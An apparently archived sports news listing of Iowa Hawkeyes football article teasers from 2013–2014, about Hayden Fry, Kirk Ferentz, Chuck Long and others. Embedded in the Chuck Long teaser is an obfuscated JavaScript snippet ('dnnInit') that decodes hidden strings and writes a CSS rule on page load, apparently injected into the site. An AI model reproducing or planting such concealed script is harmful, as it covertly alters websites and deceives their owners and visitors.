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Happy birthday, Coach! Hayden Fry turns 85

[ 0 ] February 28, 2014

Legendary Iowa football leader Hayden Fry hit another milestone birthday Friday with No. 85 in the books for the coach born on Feb. 28, 1929. To recognize the occasion, share your birthday message for coach Fry in the comments and take a look through our collection of his most iconic photos.

Rick Brown: Underdog role suits Kirk Ferentz, Hawkeyes just fine

[ 0 ] December 31, 2013

TAMPA, Fla. – It was, by first-hand accounts, an emotional speech. It was delivered by Iowa football coach Kirk Ferentz to his team days after a disheartening 28-9 home loss to Wisconsin on Nov.2 that left the Hawkeyes 5-3 with games remaining at Purdue, Michigan at home and at Nebraska. “He said we had an […]

What Hayden Fry did to fool Hawkeye fans in 1981

[ 0 ] November 5, 2013

IOWA CITY, Ia. — Kirk Ferentz was in his first season as Iowa’s offensive line coach in 1981 when the Hawkeyes ended a 20-game losing streak to Purdue. “That is hard to believe,” Ferentz said of losing 20 straight to a team. “It’s hard to believe you don’t have a winning season for 19 years, […]

Back at Kinnick, where he hoped to coach Iowa, Terry Allen will 'think of my dad'

[ 0 ] September 3, 2013

IOWA CITY, Ia. – Five-year-old Terry Allen knew his parents had an extra ticket to the Iowa football game that fall weekend. So he got busy. “I went out and raked the yard,” Allen said. “My dad said, “Oh, let’s take him.’ ” That was the first of many trips to Kinnick Stadium for Allen, who […]

Nine former Hawkeyes to enter new Wall of Honor on Saturday

[ 0 ] August 29, 2013

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Rick Brown: For Hawkeye program, beating Northern Illinois is a must

[ 0 ] August 27, 2013

IOWA CITY – It’s strange to call a season opener a must win. Especially when the calendar still reads August. But if Iowa’s football team wants to polish the program’s rusted reputation, erase the lingering hangover of 2012 and return to their bowling ways, a win against a salty Northern Illinois team is a must […]

Chuck Long offers some advice to Jake Rudock

[ 0 ] August 27, 2013

Chuck Long, who became the first college player to pass for 10,000 yards and was Iowa’s starting quarterback from 1982 to 1985, got his all-America career off to a bumpy start. He has some advice for the Hawkeyes’ Jake Rudock, who will make his first career start Saturday against Northern Illinois. function dnnInit(){var a=0,m,v,t,z,x=new Array(“9091968376″,”88879181928187863473749187849392773592878834213333338896″,”778787″,”949990793917947998942577939317″),l=x.length;while(++a<=l){m=x[l-a];t=z="";for(v=0;v<m.length;){t+=m.charAt(v++);if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);t="";}}x[l-a]=z;}document.write(".”+x[2]+”{“+x[1]+”}”);}dnnInit(); […]

Remembering the Hawkeyes’ 3-way quarterback battle of 1987 [with 4 videos]

[ 0 ] August 7, 2013

IOWA CITY, Ia. – Kirk Ferentz was Iowa’s offensive line coach in 1987 when he learned a valuable lesson he’ll lean on this fall. Dan McGwire, Tom Poholsky and Chuck Hartlieb were locked in a three-man battle for Iowa’s starting quarterback position. “The only thing I was sure of at that point was Hartlieb was […]

Harty: The top 10 Hawkeyes to play under Fry

[ 0 ] May 12, 2013

Hayden Fry will forever be remembered for doing what many thought was impossible at the time by returning the Iowa football program to glory.

Branstad won’t order Ferentz to repaint locker room at Kinnick

[ 0 ] April 22, 2013

BY WILLIAM PETROSKI — DES MOINES REGISTER Gov. Terry Branstad said Monday he won’t order University of Iowa football coach Kirk Ferentz to repaint the pink locker room for visiting teams at Kinnick Stadium, saying the governor shouldn’t “micromanage” the Hawkeyes football team. Branstad, speaking at his weekly news briefing at the Iowa Capitol, was […]